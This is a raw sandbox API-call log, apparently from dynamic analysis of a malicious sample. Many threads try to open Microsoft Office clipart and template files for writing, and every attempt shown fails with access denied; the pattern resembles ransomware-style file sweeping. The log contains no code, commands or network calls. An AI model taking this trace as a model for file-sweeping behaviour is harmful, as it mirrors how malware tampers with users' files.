[0203.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif")) returned 0x20 [0203.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", dwFileAttributes=0x20) returned 0 [0203.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.365] GetLastError () returned 0x5 [0203.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF", dwFileAttributes=0x20) returned 0 [0203.365] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5c88) returned 1 Thread: id = 9395 os_tid = 0x320 [0203.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif")) returned 0x20 [0203.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", dwFileAttributes=0x20) returned 0 [0203.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.243] GetLastError () returned 0x5 [0203.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", dwFileAttributes=0x20) returned 0 [0203.243] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5d20) returned 1 Thread: id = 9410 os_tid = 0xdec [0203.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) [0209.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF", dwFileAttributes=0x20) returned 0 [0209.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.033] GetLastError () returned 0x5 [0210.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF", dwFileAttributes=0x20) returned 0 [0210.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5468) returned 1 Thread: id = 9413 os_tid = 0x1470 [0203.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) [0209.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG", dwFileAttributes=0x20) returned 0 [0209.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.036] GetLastError () returned 0x5 [0210.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG", dwFileAttributes=0x20) returned 0 [0210.036] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50b00) returned 1 Thread: id = 9419 os_tid = 0xbc0 [0203.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif")) returned 0x20 [0203.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", dwFileAttributes=0x20) returned 0 [0203.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.381] GetLastError () returned 0x5 [0203.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", dwFileAttributes=0x20) returned 0 [0203.382] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5d20) returned 1 Thread: id = 9420 os_tid = 0xbcc [0203.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif")) returned 0x20 [0203.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", dwFileAttributes=0x20) returned 0 [0203.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.383] GetLastError () returned 0x5 [0203.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF", dwFileAttributes=0x20) returned 0 [0203.383] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76ae0) returned 1 Thread: id = 9421 os_tid = 0xbd0 [0203.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif")) returned 0x20 [0204.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", dwFileAttributes=0x20) returned 0 [0204.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.489] GetLastError () returned 0x5 [0204.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF", dwFileAttributes=0x20) returned 0 [0204.489] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76b78) returned 1 Thread: id = 9422 os_tid = 0x978 [0203.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif")) returned 0x20 [0204.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", dwFileAttributes=0x20) returned 0 [0204.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.488] GetLastError () returned 0x5 [0204.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", dwFileAttributes=0x20) returned 0 [0204.488] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c769b0) returned 1 Thread: id = 9423 os_tid = 0xd28 [0203.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif")) returned 0x20 [0204.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", dwFileAttributes=0x20) returned 0 [0204.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.485] GetLastError () returned 0x5 [0204.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", dwFileAttributes=0x20) returned 0 [0204.485] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75ad8) returned 1 Thread: id = 9424 os_tid = 0x12c0 [0203.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif")) returned 0x20 [0204.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", dwFileAttributes=0x20) returned 0 [0204.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.483] GetLastError () returned 0x5 [0204.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", dwFileAttributes=0x20) returned 0 [0204.484] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c773c8) returned 1 Thread: id = 9425 os_tid = 0x18a0 [0203.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif")) returned 0x20 [0204.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", dwFileAttributes=0x20) returned 0 [0204.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.482] GetLastError () returned 0x5 [0204.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", dwFileAttributes=0x20) returned 0 [0204.482] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76290) returned 1 Thread: id = 9426 os_tid = 0x1920 [0203.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif")) returned 0x20 [0204.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", dwFileAttributes=0x20) returned 0 [0204.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.481] GetLastError () returned 0x5 [0204.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", dwFileAttributes=0x20) returned 0 [0204.481] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c764f0) returned 1 Thread: id = 9427 os_tid = 0xf64 [0203.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif")) returned 0x20 [0204.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", dwFileAttributes=0x20) returned 0 [0204.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.480] GetLastError () returned 0x5 [0204.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF", dwFileAttributes=0x20) returned 0 [0204.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76620) returned 1 Thread: id = 9428 os_tid = 0x1928 [0203.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif")) returned 0x20 [0204.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", dwFileAttributes=0x20) returned 0 [0204.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.479] GetLastError () returned 0x5 [0204.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF", dwFileAttributes=0x20) returned 0 [0204.479] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75f98) returned 1 Thread: id = 9429 os_tid = 0x18a4 [0203.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif")) returned 0x20 [0204.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", dwFileAttributes=0x20) returned 0 [0204.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.478] GetLastError () returned 0x5 [0204.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF", dwFileAttributes=0x20) returned 0 [0204.478] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76030) returned 1 Thread: id = 9430 os_tid = 0x1930 [0203.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif")) returned 0x20 [0204.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", dwFileAttributes=0x20) returned 0 [0204.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.477] GetLastError () returned 0x5 [0204.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", dwFileAttributes=0x20) returned 0 [0204.477] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c763c0) returned 1 Thread: id = 9442 os_tid = 0x1234 [0203.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcrtsk_u.vst")) returned 0x20 [0203.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_U.VST", dwFileAttributes=0x20) returned 0 [0203.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcrtsk_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.493] GetLastError () returned 0x5 [0203.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_U.VST", dwFileAttributes=0x20) returned 0 [0203.494] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6968) returned 1 Thread: id = 9469 os_tid = 0x8ac [0203.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) [0209.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG", dwFileAttributes=0x20) returned 0 [0209.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.730] GetLastError () returned 0x5 [0209.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG", dwFileAttributes=0x20) returned 0 [0209.731] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51958) returned 1 Thread: id = 9470 os_tid = 0x5f4 [0203.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) [0209.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF", dwFileAttributes=0x20) returned 0 [0209.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.732] GetLastError () returned 0x5 [0209.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF", dwFileAttributes=0x20) returned 0 [0209.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51af0) returned 1 Thread: id = 9471 os_tid = 0x76c [0203.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) [0209.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF", dwFileAttributes=0x20) returned 0 [0209.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.733] GetLastError () returned 0x5 [0209.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF", dwFileAttributes=0x20) returned 0 [0209.733] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c519e0) returned 1 Thread: id = 9472 os_tid = 0x774 [0203.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) [0209.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF", dwFileAttributes=0x20) returned 0 [0209.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.025] GetLastError () returned 0x5 [0210.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF", dwFileAttributes=0x20) returned 0 [0210.025] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50308) returned 1 Thread: id = 9473 os_tid = 0x658 [0203.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) [0209.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF", dwFileAttributes=0x20) returned 0 [0209.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.701] GetLastError () returned 0x5 [0209.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF", dwFileAttributes=0x20) returned 0 [0209.701] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51628) returned 1 Thread: id = 9474 os_tid = 0x9ec [0203.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) [0209.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF", dwFileAttributes=0x20) returned 0 [0209.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.702] GetLastError () returned 0x5 [0209.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF", dwFileAttributes=0x20) returned 0 [0209.703] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50b88) returned 1 Thread: id = 9475 os_tid = 0xb08 [0203.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) [0209.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF", dwFileAttributes=0x20) returned 0 [0209.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.026] GetLastError () returned 0x5 [0210.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF", dwFileAttributes=0x20) returned 0 [0210.026] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50638) returned 1 Thread: id = 9476 os_tid = 0x1acc [0203.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) [0209.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF", dwFileAttributes=0x20) returned 0 [0209.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.704] GetLastError () returned 0x5 [0209.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF", dwFileAttributes=0x20) returned 0 [0209.704] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, 